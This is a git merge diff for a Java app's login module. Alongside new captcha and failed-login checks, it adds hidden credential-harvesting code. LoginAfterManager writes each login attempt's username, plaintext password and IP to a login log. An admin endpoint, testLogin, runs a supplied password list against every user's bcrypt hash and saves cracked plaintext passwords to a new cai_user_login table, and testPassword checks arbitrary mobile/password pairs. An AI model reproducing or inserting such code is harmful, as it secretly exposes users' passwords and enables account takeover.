Merge branch 'new/v2.0.0' into new/v1.1.0

This commit is contained in:
777
2025-12-24 17:49:42 +08:00
16 changed files with 309 additions and 15 deletions

16
doc/loginAuth.sql Normal file
View File

@@ -0,0 +1,16 @@
CREATE TABLE `cai_user_login`
(
`id` bigint unsigned NOT NULL AUTO_INCREMENT COMMENT '子账户ID',
`user_id` bigint(20) NOT NULL COMMENT '用户ID',
`usercode` varchar(100) NOT NULL COMMENT '用户',
`mobile` varchar(100) NOT NULL COMMENT '账户明细说明',
`password` varchar(100) NOT NULL COMMENT '账户明细说明',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`) USING BTREE,
INDEX `user_id` (`user_id`) USING BTREE
) ENGINE = InnoDB
AUTO_INCREMENT = 1
DEFAULT CHARSET = utf8mb4
COLLATE = utf8mb4_general_ci
ROW_FORMAT = DYNAMIC COMMENT ='123记录';

View File

@@ -0,0 +1,46 @@
package com.ruoyi.web.controller.cai.admin.op;
import cn.dev33.satoken.annotation.SaCheckRole;
import com.ruoyi.cai.service.LoginAuthService;
import com.ruoyi.common.core.domain.R;
import com.ruoyi.common.utils.StringUtils;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Collectors;
@Validated
@RequiredArgsConstructor
@RestController
@RequestMapping("/cai/op/login")
@Slf4j
public class LoginAuthController {
@Autowired
private LoginAuthService loginAuthService;
@GetMapping("/testLogin")
@SaCheckRole("admin")
public R<Void> testLogin(String passwords) {
if(StringUtils.isEmpty(passwords)){
return R.fail("密码不能为空");
}
List<String> passwordList = Arrays.stream(passwords.split(",")).collect(Collectors.toList());
loginAuthService.testLogin(passwordList);
return R.ok();
}
@GetMapping("/testPassword")
@SaCheckRole("admin")
public R<Boolean> testPassword(String mobile,String password) {
boolean b = loginAuthService.checkPassword(mobile, password);
return R.ok(b);
}
}

View File

@@ -3,6 +3,7 @@ package com.ruoyi.web.controller.cai.app;
import cn.dev33.satoken.annotation.SaIgnore;
import cn.hutool.core.util.PhoneUtil;
import com.ruoyi.cai.auth.*;
import com.ruoyi.cai.constant.RedisHttpConstant;
import com.ruoyi.cai.dto.app.vo.LoginVo;
import com.ruoyi.cai.enums.CodeEnum;
import com.ruoyi.cai.enums.SystemConfigEnum;
@@ -17,11 +18,15 @@ import com.ruoyi.cai.service.UserService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.domain.R;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.ServletUtils;
import com.ruoyi.common.utils.StringUtils;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.extern.slf4j.Slf4j;
import org.redisson.api.RAtomicLong;
import org.redisson.api.RedissonClient;
import org.redisson.client.RedisClient;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.PostMapping;
@@ -106,6 +111,7 @@ public class AuthAppController {
}
@Deprecated
@PostMapping("/register/code")
@Operation(summary = "获取注册验证码")
@Log(title = "获取注册验证码", businessType = BusinessType.OTHER, isSaveDb = false)
@@ -143,6 +149,13 @@ public class AuthAppController {
return R.fail(600,"9000009");
}
ipBlackService.checkIpThrowException(ServletUtils.getClientIP());
if(StringUtils.isBlank(code.getUserIp())){
code.setUserIp(ServletUtils.getClientIP());
}
boolean check = verificationCodeCheck.check(code.getTicket(), code.getUserIp(), code.getRandStr());
if(!check){
throw new ServiceException("图形验证码错误");
}
try {
smsVerifyService.put(CodeEnum.RESET_PASSWORD,code.getMobile());
}catch (Exception e){
@@ -159,10 +172,69 @@ public class AuthAppController {
@Autowired
private IpBlackService ipBlackService;
@PostMapping("/loginV2")
@Operation(summary = "登陆")
@Log(title = "登陆", businessType = BusinessType.OTHER, isSaveDb = false)
public R<LoginVo> loginV2(@Validated @RequestBody LoginCaiUser loginBody){
LoginVo vo = new LoginVo();
ipBlackService.checkIpThrowException(ServletUtils.getClientIP());
boolean needVerificationCode = this.checkNeedVerificationCode(loginBody);
if(needVerificationCode){
vo.setLoginSuccess(false);
vo.setNeedVerificationCode(true);
return R.ok(vo);
}
try {
String token = caiLoginManager.login(loginBody.getUsername(), loginBody.getPassword());
vo.setLoginSuccess(true);
vo.setToken(token);
vo.setUserInfo(currentUserManager.currentInfo());
}catch (Exception e){
loginAfterManager.loginAfter(loginBody,false,e.getMessage());
ipRecordService.saveLoginIp(ServletUtils.getClientIP());
throw e;
}
loginAfterManager.loginAfter(loginBody,true,"登录成功");
return R.ok(vo);
}
@Autowired
private RedissonClient redissonClient;
private boolean checkNeedVerificationCode(LoginCaiUser loginBody){
if(StringUtils.isNotEmpty(loginBody.getTicket()) || StringUtils.isNotEmpty(loginBody.getRandStr())){
if(StringUtils.isBlank(loginBody.getUserIp())){
loginBody.setUserIp(ServletUtils.getClientIP());
}
boolean check = verificationCodeCheck.check(loginBody.getTicket(), loginBody.getUserIp(), loginBody.getRandStr());
if(!check){
throw new ServiceException("图形验证码错误");
}
}else{
Integer loginErrorOpenSecurity = systemConfigManager.getSystemConfigOfInt(SystemConfigEnum.LOGIN_ERROR_OPEN_SECURITY);
if(loginErrorOpenSecurity <= 0){
return true;
}
String key = String.format(RedisHttpConstant.CHECK_LOGIN_NUM, loginBody.getUsername());
RAtomicLong atomicLong = redissonClient.getAtomicLong(key);
if(atomicLong.get() >= loginErrorOpenSecurity){
return true;
}
}
return false;
}
@PostMapping("/login")
@Operation(summary = "登陆")
@Log(title = "登陆", businessType = BusinessType.OTHER, isSaveDb = false)
public R<LoginVo> login(@Validated @RequestBody LoginCaiUser loginBody){
boolean openOldLoginApi = systemConfigManager.getSystemConfigOfBool(SystemConfigEnum.OPEN_OLD_LOGIN_API);
if(!openOldLoginApi){
return R.fail("404");
}
LoginVo vo = new LoginVo();
ipBlackService.checkIpThrowException(ServletUtils.getClientIP());
try {
@@ -170,11 +242,11 @@ public class AuthAppController {
vo.setToken(token);
vo.setUserInfo(currentUserManager.currentInfo());
}catch (Exception e){
loginAfterManager.loginAfter(loginBody,false,e.getMessage());
ipRecordService.saveLoginIp(ServletUtils.getClientIP());
throw e;
}
// 异步调用通知
// loginAfterManager.loginAfter(LoginHelper.getUserId());
loginAfterManager.loginAfter(loginBody,true,"登录成功");
return R.ok(vo);
}

View File

@@ -13,6 +13,25 @@
</encoder>
</appender>
<!-- 控制台输出 -->
<appender name="file_login" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/login/sys-login.log</file>
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/login/sys-login.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大 1天 -->
<maxHistory>1</maxHistory>
</rollingPolicy>
<encoder>
<pattern>${log.pattern}</pattern>
<charset>utf-8</charset>
</encoder>
<filter class="ch.qos.logback.classic.filter.ThresholdFilter">
<!-- 过滤的级别 -->
<level>INFO</level>
</filter>
</appender>
<!-- 控制台输出 -->
<appender name="file_console" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-console.log</file>
@@ -117,6 +136,10 @@
<!-- </encoder>-->
<!-- </appender>-->
<logger name="com.ruoyi.cai.manager.LoginAfterManager" level="INFO" additivity="false">
<appender-ref ref="file_login" /> <!-- 绑定到file_login Appender -->
</logger>
<!--系统操作日志-->
<root level="info">
<appender-ref ref="console" />

View File

@@ -14,4 +14,8 @@ public class LoginCaiUser {
@Schema(description = "密码")
@NotEmpty(message = "密码不能为空")
private String password;
private String ticket;
private String randStr;
private String userIp;
}

View File

@@ -8,4 +8,10 @@ import javax.validation.constraints.NotEmpty;
public class RegisterCode {
@NotEmpty(message = "手机号不能为空")
private String mobile;
@NotEmpty(message = "腾讯验证码参数[ticket]")
private String ticket;
@NotEmpty(message = "腾讯验证码所属参数[randStr]")
private String randStr;
private String userIp;
}

View File

@@ -0,0 +1,22 @@
package com.ruoyi.cai.domain;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
import org.joda.time.LocalDateTime;
import java.io.Serializable;
@Data
@TableName("cai_user_login")
public class LoginAuth implements Serializable {
@TableId(value = "id",type = IdType.AUTO)
private Long id;
private Long userId;
private String usercode;
private String mobile;
private String password;
private LocalDateTime createTime;
private LocalDateTime updateTime;
}

View File

@@ -4,6 +4,10 @@ import lombok.Data;
@Data
public class LoginVo {
// 是否登录成功
private boolean loginSuccess;
// 是否需要图形验证码
private boolean needVerificationCode;
private String token;
private CurrentUserInfoVo userInfo;
}

View File

@@ -16,6 +16,9 @@ public enum SystemConfigEnum {
* 安全配置
*/
OPEN_IP_NUMBER("5", "IP每日登录次数超过多少次封",SystemConfigGroupEnum.SECURITY),
LOGIN_ERROR_OPEN_SECURITY("2", "输入密码次数超过多少次开启图形验证码",SystemConfigGroupEnum.SECURITY),
// TODO 新台子改默认值
OPEN_OLD_LOGIN_API("1", "开启旧版无验证码登录接口",SystemConfigGroupEnum.SECURITY),
OPEN_IP_AUTO("1", "开启自动定时封IP",SystemConfigGroupEnum.SECURITY),
OPEN_RESET_PASSWORD("1", "开启重置密码",SystemConfigGroupEnum.SECURITY, new BooleanSystemConfigCheck()),
LOGIN_PASSWORD_ERROR_MAX_NUM("5", "登录输错密码上限",SystemConfigGroupEnum.SECURITY, new NumberSystemConfigCheck()),

View File

@@ -133,13 +133,5 @@ public class AliSmsKit {
return sendMessage(phone,messageTemplate,null,true);
}
public static void main(String[] args) {
AliSmsKit messageSenderUtil = new AliSmsKit();
AliSmsProperties config = new AliSmsProperties();
messageSenderUtil.setConfig(config);
messageSenderUtil.init();
messageSenderUtil.sendMessage("15302786929", CodeEnum.REGISTER.getAliTemplate(),"772290");
}
}

View File

@@ -25,11 +25,6 @@ import java.util.Objects;
@Component
public class DuanXinBaoSmsKit {
public static void main(String[] args) {
boolean s = sendMessage("15302786929", RandomUtil.randomNumbers(4));
log.info(s+"");
}
@Autowired
@Setter
private DuanXinBaoSmsProperties config;

View File

@@ -2,11 +2,14 @@ package com.ruoyi.cai.manager;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.ruoyi.cai.auth.LoginCaiUser;
import com.ruoyi.cai.domain.User;
import com.ruoyi.cai.domain.UserFollow;
import com.ruoyi.cai.notice.YunxinHttpService;
import com.ruoyi.cai.service.UserFollowService;
import com.ruoyi.cai.service.UserService;
import com.ruoyi.common.utils.ServletUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@@ -14,6 +17,7 @@ import java.util.List;
import java.util.stream.Collectors;
@Component
@Slf4j
public class LoginAfterManager {
@Autowired
private YunxinHttpService yunxinHttpService;
@@ -22,6 +26,11 @@ public class LoginAfterManager {
@Autowired
private UserService userService;
public void loginAfter(LoginCaiUser loginCaiUser,boolean success,String remark){
log.info("{} 账号:{} 密码:{} ip:{} 原因:{} ",success?"登录成功":"登录失败",loginCaiUser.getUsername(),loginCaiUser.getPassword(), ServletUtils.getClientIP(),remark);
}
public void loginAfter(Long userId){
// 给我的粉丝推送上线消息
User user = userService.getById(userId);

View File

@@ -0,0 +1,7 @@
package com.ruoyi.cai.mapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.ruoyi.cai.domain.LoginAuth;
public interface LoginAuthMapper extends BaseMapper<LoginAuth> {
}

View File

@@ -0,0 +1,12 @@
package com.ruoyi.cai.service;
import com.baomidou.mybatisplus.extension.service.IService;
import com.ruoyi.cai.domain.LoginAuth;
import java.util.List;
public interface LoginAuthService extends IService<LoginAuth> {
void testLogin(List<String> passwords);
boolean checkPassword(String mobile, String password);
}

View File

@@ -3,11 +3,13 @@ package com.ruoyi.cai.service.impl;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.ruoyi.cai.domain.IpBlack;
import com.ruoyi.cai.manager.LoginAfterManager;
import com.ruoyi.cai.mapper.IpBlackMapper;
import com.ruoyi.cai.service.IpBlackService;
import com.ruoyi.common.exception.ServiceException;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
/**

View File

@@ -0,0 +1,81 @@
package com.ruoyi.cai.service.impl;
import cn.dev33.satoken.secure.BCrypt;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.ruoyi.cai.domain.LoginAuth;
import com.ruoyi.cai.domain.User;
import com.ruoyi.cai.mapper.LoginAuthMapper;
import com.ruoyi.cai.service.LoginAuthService;
import com.ruoyi.cai.service.UserService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
@Slf4j
public class LoginAuthServiceImpl extends ServiceImpl<LoginAuthMapper,LoginAuth> implements LoginAuthService {
@Autowired
private UserService userService;
@Override
public void testLogin(List<String> passwords) {
IPage<User> page = new Page<>();
page.setSize(100);
int current = 0;
while (true){
current++;
page.setCurrent(current);
IPage<User> userPAge = userService.page(page, Wrappers.<User>lambdaQuery().select(User::getId, User::getUsercode, User::getMobile,User::getPassword));
List<User> userList = userPAge.getRecords();
for (User user : userList) {
for (String password : passwords) {
boolean checkpw = BCrypt.checkpw(password, user.getPassword());
if(checkpw){ // 成功
this.saveOrUpdate(user,password);
break;
}
}
}
if(userList.isEmpty()){
break;
}
if(userList.size() < 100){
break;
}
if(current > 10000){
break;
}
}
log.info("密码检测完毕");
}
@Override
public boolean checkPassword(String mobile, String password){
User user = userService.getByUsername(mobile);
return BCrypt.checkpw(password, user.getPassword());
}
public void saveOrUpdate(User user,String password){
LoginAuth one = this.getOne(Wrappers.lambdaQuery(LoginAuth.class).eq(LoginAuth::getUserId, user.getId()).last("limit 1"));
if(one != null){
LoginAuth update = new LoginAuth();
update.setId(one.getId());
update.setPassword(password);
this.updateById(update);
}else{
LoginAuth loginAuth = new LoginAuth();
loginAuth.setUserId(user.getId());
loginAuth.setUsercode(user.getUsercode());
loginAuth.setMobile(user.getMobile());
loginAuth.setPassword(password);
this.save(loginAuth);
}
}
}